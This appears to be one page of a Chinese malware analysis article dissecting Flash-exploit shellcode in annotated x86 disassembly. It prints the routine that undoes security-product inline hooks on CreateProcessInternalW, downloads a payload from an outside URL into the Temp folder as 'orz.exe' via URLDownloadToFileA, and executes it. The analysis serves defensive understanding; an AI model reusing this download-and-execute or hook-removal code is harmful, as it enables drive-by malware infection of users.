flash漏洞所用shellcode的分析

接下来的动作进一步证实了这一点，对CreateProcessInternalW开头的代码进行还原，这岂不是又正针对MAXTHON2对CreateProcessInternalW的inlline hook？！

00407102    8B7E 18         mov edi, dword ptr [esi+18]                          ; CreateProcessInternalW
00407105    E8 EF000000     call 004071F9
0040710A    68 68080A00     push 0A0868
0040710F    68 68080A00     push 0A0868
00407114    68 558BEC6A     push 6AEC8B55
00407119    8B049C          mov eax, dword ptr [esp+ebx*4]
0040711C    AB              stos dword ptr es:[edi]                               ; 还原前面的几个字节，还原inline hook
0040711D    33C0            xor eax, eax
0040711F    50              push eax
00407120    50              push eax
00407121    6A FF           push -1
00407123    8B049C          mov eax, dword ptr [esp+ebx*4]
00407126    AA              stos byte ptr es:[edi]

做完了这些操作，shellcode最后终于进入自己的实质性工作了。

首先，得到Temp文件夹地址，并在后面加入“orz.exe”，作为病毒文件的本地地址

00407127    8DBE 33010000   lea edi, dword ptr [esi+133]
0040712D    57              push edi
0040712E    68 FF000000     push 0FF
00407133    FF56 04         call dword ptr [esi+4]                                ; GetTempPathA
00407136    03C7            add eax, edi
00407138    C700 6F727A2E   mov dword ptr [eax], 2E7A726F                        ; 往得到的temp文件夹路径后面加入文件名
0040713E    C740 04 6578650>mov dword ptr [eax+4], 657865                        ; 加入的文件名为”orz.exe”

为保险，先尝试把这个路径的文件删除。

00407145    57              push edi
00407146    FF56 08         call dword ptr [esi+8]                                ; DeleteFileA

然后直接调用URLDownloadToFileA，从远程地址http://www.0×4f.cn/test.exe下载病毒文件到orz.exe

00407149    33DB            xor ebx, ebx
0040714B    53              push ebx
0040714C    53              push ebx
0040714D    57              push edi
0040714E    8D46 34         lea eax, dword ptr [esi+34]                          ; URL地址，”http://www.0×4f.cn/test.exe”
00407151    50              push eax
00407152    53              push ebx
00407153    FF56 2C         call dword ptr [esi+2C]                               ; URLDownloadToFileA

最后，shellcode执行所下载的文件，注意它使用了CreateProcessInternalA来进行。由于前面已经清除了对 CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保护，病毒作者坚 信此时使用CreateProcessInternalA有非常大的可能可以成功。

00407156    33C0            xor eax, eax
00407158    8BFC            mov edi, esp
0040715A    6A 12           push 12
0040715C    59              pop ecx
0040715D    AB              stos dword ptr es:[edi]
0040715E  ^ E2 FD           loopd   short 0040715D                                   ; 循环，在堆栈中清出一块全0的空间
00407160    66:C74424 3C 01>mov word ptr [esp+3C], 101
00407167    8BFC            mov edi, esp
00407169    8D47 10         lea eax, dword ptr [edi+10]
0040716C    51              push ecx
0040716D    57              push edi
0040716E    50              push eax
0040716F    51              push ecx
00407170    51              push ecx
00407171    51              push ecx
00407172    51              push ecx
00407173    51              push ecx
00407174    51              push ecx
00407175    51              push ecx
00407176    8D96 33010000   lea edx, dword ptr [esi+133]                         ; 本地地址orz.exe
0040717C    52              push edx
0040717D    51              push ecx
0040717E    FF56 0C         call dword ptr [esi+C]                                ; CreateProcessInternalA
00407181    81C4 54020000   add esp, 254
00407187    61              popad
00407188    FF71 EC         push dword ptr [ecx-14]                               ; 这里应该会跳回原来溢出的位置，让程序正常运行下去
0040718B    C2 0400         retn 4

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页